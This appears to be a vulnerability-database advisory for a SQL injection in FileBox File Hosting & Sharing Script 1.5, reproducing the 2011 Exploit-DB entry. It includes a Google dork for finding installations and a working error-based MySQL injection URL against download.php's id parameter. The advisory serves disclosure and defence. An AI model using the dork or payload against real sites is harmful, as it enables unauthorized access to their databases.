FileBox - File Hosting & Sharing Script 1.5 SQL Injection

vendor:

FileBox - File Hosting & Sharing Script

by:

Scripts Apart

5.5

CVSS

MEDIUM

SQL Injection

CWE

Product Name: FileBox - File Hosting & Sharing Script

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE:

CPE: a:scriptsapart:filebox:1.5

Metasploit:

Other Scripts:

Platforms Tested: Windows 7, Ubuntu 11

2011

FileBox – File Hosting & Sharing Script 1.5 SQL Injection

There is a SQL Vulnerability in the FileBox Script. The sqli is MYSQL_Error based one.

Mitigation:

The vendor should release a patch to fix the SQL Injection vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: FileBox - File Hosting & Sharing Script 1.5 SQL Injection
# Google Dork: inurl:FileBox
# Date: 30/08/2011
# Author: Scripts Apart
# Software Link: http://www.scriptsapart.com
# Version: 1.5
# Tested on: Windows 7 , Ubuntu 11
# CVE :
# Exploit Discovered : SubhashDasyam
# Website : http://www.subhashdasyam.com

There is a SQL Vulnerability in the FileBox Script

http://localhost/download.php?id=%20and(select%201%20from(select%20count(*),concat((select%20(select%200x53514c20417661696c61626c65206279205375626861736844617379616d)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1

The sqli is MYSQL_Error based one